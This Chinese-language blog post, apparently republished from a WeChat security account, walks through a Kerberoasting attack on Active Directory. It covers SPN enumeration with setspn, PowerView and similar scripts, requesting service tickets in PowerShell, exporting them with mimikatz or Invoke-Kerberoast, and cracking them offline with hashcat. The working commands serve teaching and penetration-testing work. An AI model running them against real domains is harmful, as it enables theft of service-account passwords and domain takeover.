详解kerberoast攻击

admin 2025年7月9日02:21:17评论0 views字数 4675阅读15分35秒阅读模式

前言

上篇文章介绍了kerberos的协议的认证流程以及可能出现的安全问题,也简要说了一下kerberoast攻击,本篇文章就具体介绍一下kerberoasting具体原理以及如何进行操作。

什么是Kerberoasting攻击?

首先再来回顾一下Kerberoast协议的认证过程。kerberoast认证过程算上PAC可以说有四个个阶段。如下图所示

详解kerberoast攻击

下面这张图总结了每个阶段可能出现的安全问题

详解kerberoast攻击

从上图可以看出kerberoasting攻击是在TGS REQ阶段的。TGS REQ阶段是请求服务票据ST的过程,在这个阶段最终会得到访问服务的票据,这个票据用服务账号的NTLM hash进行签名。而且我们是可以获取到任意服务的ST,加密算法为RC4-HMAC,如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。

一句话来说就是由于ST是用服务的Hash进行加密的,因此客户端拿到该ST后可以用于本地离线爆破。如果字典够牛逼,那么就很有可能爆破出SPN链接用户的明文密码

如果该服务在域内被配置为高权限运行,那么攻击者可能接管整个域。

其核心在于,攻击者和KDC协商ST加密的时候,协商的是使用RC4_HMAC_MD5加密算法,而该加密算法容易被破解,因为攻击者可以在本地进行离线爆破

Kerberoasting的前提:服务SPN必须注册在域用户账户下,因为机器账户的密码是随机生成的,基本爆破不了

这种方式的优点就是不用与服务器进行交互,减少了被发现的风险,而且我们可以对所有的服务票据来进行尝试,增加破解的几率,直到拿到管理权限。

其中,域内注册的服务是用SPN进行表示的,我们可以通过查询SPN来获取域内注册了那些服务。

攻击流程

根据上面的介绍,那么整个的攻击过程可以总结如下:

  1. 攻击者提供一个正常的域用户密码进行认证,获得TGT
  2. 攻击者使用该TGT请求针对指定SPN的ST
  3. KDC在验证身份后,返回服务Hash加密的ST,不管提供的域用户有没有对指定SPN服务的访问权限
  4. 攻击者本地离线爆破ST,获得SPN所链接账户的明文密码(重点是密码字典

SPN服务主体

kerberoasting攻击首先就是要获取请求服务的SPN,那么首先介绍一下SPN到底是什么以及常用的SPN操作。

SPN是什么

SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、MSSQL、MySQL等服务)的唯一标识符。个人认为就是服务实例注册到域控中的一个标识,域控用SPN来表示是那个服务。

Kerberos 身份验证:使用 SPN 将服务实例与服务登录帐户相关联

如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。

SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。

一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。

在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机。SPN的识别是kerberoasting攻击的第一步。

SPN的语法格式

格式:服务类型/对应机器名:服务端口[默认端口可不写]

<service class>/<host>:<port> <servername>

1、<service class>可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等,例如mysql/WIN-security.test:1433

2、host有两种形式,FQDN和NetBIOS名,例如WIN-test.security或者是WIN-test

3、如果服务运行在默认端口上,则端口号(port)可以省略

查询已经注册的SPN

查询当前域内所有的SPN

setspn -Q */*

如果要查找指定域下的SPN可以使用-T的参数,如果不存在指定的域,则查找默认域。

setspn -T security.test -Q */*

同时也是使用-L参数指定要参数的域机器名

setspn -L WIN-TEST

详解kerberoast攻击

创建SPN

格式:setspn -S http/<computername>.<domainname> <domain-user-account>

-S 参数:验证不存在重复项后,添加随意 SPN。

注意: -S 从 Windows Server 2008 开始系统默认提供。

例如:创建一个spn http服务的,主机名为WINTEST-PC,域名为创建的域用户security/zhangsan

setspn -s http/WINTEST-PC.security.test securityzhangsan

详解kerberoast攻击

注意:只有机器账号或域管理员账号有权限注册SPN,普通域用户注册SPN会提示权限不够

详解kerberoast攻击

其它常用SPN命令

查找本域内重复的SPN: setspn -X

删除指定SPN:setspn -D mysql/security.com:1433/MSSQL

查找指定用户/主机名注册的SPN:setspn -L username/hostname

SPN扫描

通过上面的讲解,已经知道SPN是什么以及操作语法,那么在实际用的时候可以通过工具帮助我们去扫描系统中存在SPN服务。

同时,在一个大型域中通常会有不止一个的服务注册 SPN,通过工具可以方便的查看域内的服务。

利用SPN扫描有一个优点,那就是可以更加隐蔽。 比如想知道域内哪些主机安装了什么服务,我们就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。

利用kerberoast工具集进行SPN扫描

项目地址:https://github.com/nidem/kerberoast

该项目中有两个脚本,都可以用来进行扫描,结果基本相同。

GetUserSPNs.ps1

GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本用来查询域内用户注册的 SPN。

Import-Module .GetUserSPNs.ps1

输入上面的命令就可以直接调用,就会把目前注册的SPN显示出现,从结果中可以看出,结果包含服务,用户名等信息

详解kerberoast攻击

GetUserSPNs.vbs

该工具集汇总还包含另外一个脚本

运行命令:cscript.exe .GetUserSPNs.vbs

跟上一个脚本输出结果大致相同,只不过显示有所区别

详解kerberoast攻击

PowerView.ps1

项目地址:https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon

运行命令:

Import-Module .PowerView.ps1

Get-NetUser -SPN

从结果上看,该脚本返回的内容更多

详解kerberoast攻击

RiskySPN

项目地址:https://github.com/cyberark/RiskySPN

运行命令:

Import-Module .RiskySPNs.psm1 Find-PotentiallyCrackableAccounts

注意:该脚本必须在powershell3.0以上才能执行

详解kerberoast攻击

了解了SPN以后,我们就可以利用kerberoasting进行攻击了。

Kerberoast攻击实践

接下来就是具体的攻击流程了,机器上如果没有杀软,我们可以利用mimikatz导出hash进行破解,如果存在杀软我们可以通过脚本将hash导出来在进行破解。

同时还有一个问题,那就是爆破服务的选择,我的做法也不去选择那个好爆破,把所有能下载下来的服务全部都爆破一遍,能爆破出来一个是一个,说不定爆破出来机器上会有意想不到的收获。

请求ST服务票据

在确定了我们要攻击的服务以后,我们可以通过powershell申请票据。

另外,Kerberos 协议中请求的票据会保存在内存中,可以通过 klist命令查看当前会话存储的。下图是目前存储的

详解kerberoast攻击

请求单个TGS

命令如下:

Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "http/WINTEST-PC.security.test"

接下来我们请求该http/WINTEST-PC.security.test服务的票据:

详解kerberoast攻击

再用klist看一下,可以看到已经请求到http服务的票据了。

详解kerberoast攻击

当然我们也可以请求所有的服务票据

Add-Type -AssemblyName System.IdentityModel  setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
详解kerberoast攻击

利用mimikatz导出票据

执行命令导出票据:kerberos::list

实际操作过程中发现执行这个命令没有生成文件,在另外一个机器上就可以,暂时没搞清楚什么原因。

详解kerberoast攻击

mimikatz解密

拿到票据以后,我们就可以进行解密获取密码,可以使用下面的工具进行解密。

工具:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

tgsrepcrack.py 字典文件 hash文件

注释:该脚本接受两个参数,第一个是字典文件,第二个为获取到hash文件。

这个脚本其实调用的也是hashcat进行解密的。

详解kerberoast攻击

Invoke-Kerberoast导出hash

如果有系统杀软,mimikatz会被杀软杀掉,可以使用Invoke-Kerberoast.ps1直接导出可以被hacat破解的文件,然后再进行破解。

Import-Module .Invoke-Kerberoast.ps1  Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

详解kerberoast攻击

用hashcat进行破解

用hashcat破解上一步导出的票据。

hashcat.exe -m 13100 hash.txt mima.txt

hash.txt为上一步获取的票据

miam.txt为你的密码文件(这个很重要)

详解kerberoast攻击

到此,已经成功破解出来服务账号的密码,在实际操作用,一个服务破解不出来,可以多尝试一下其它的服务。

总结

这种攻击方式其实还是一种暴力破解的方式,由于没有跟服务端进行交互,因此隐蔽性较强。而且该攻击方式最重要的就是字典。最后再说一下攻击流程:

  1. 查询域内注册于域用户的SPN
  2. 请求指定SPN的ST
  3. 导出请求的ST
  4. 对该ST进行离线爆破

由于本人水平有限,文章中可能会出现一些错误,欢迎各位大佬指正,感激不尽。如果有什么好的想法也欢迎交流~~

参考链接

https://www.freebuf.com/articles/web/304685.html

https://www.cnblogs.com/zpchcbd/p/11707776.html

https://shu1l.github.io/2020/08/05/kerberosating-gong-ji-xue-xi/

原文始发于微信公众号(信安路漫漫):详解kerberoast攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日02:21:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   详解kerberoast攻击https://cn-sec.com/archives/4230331.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息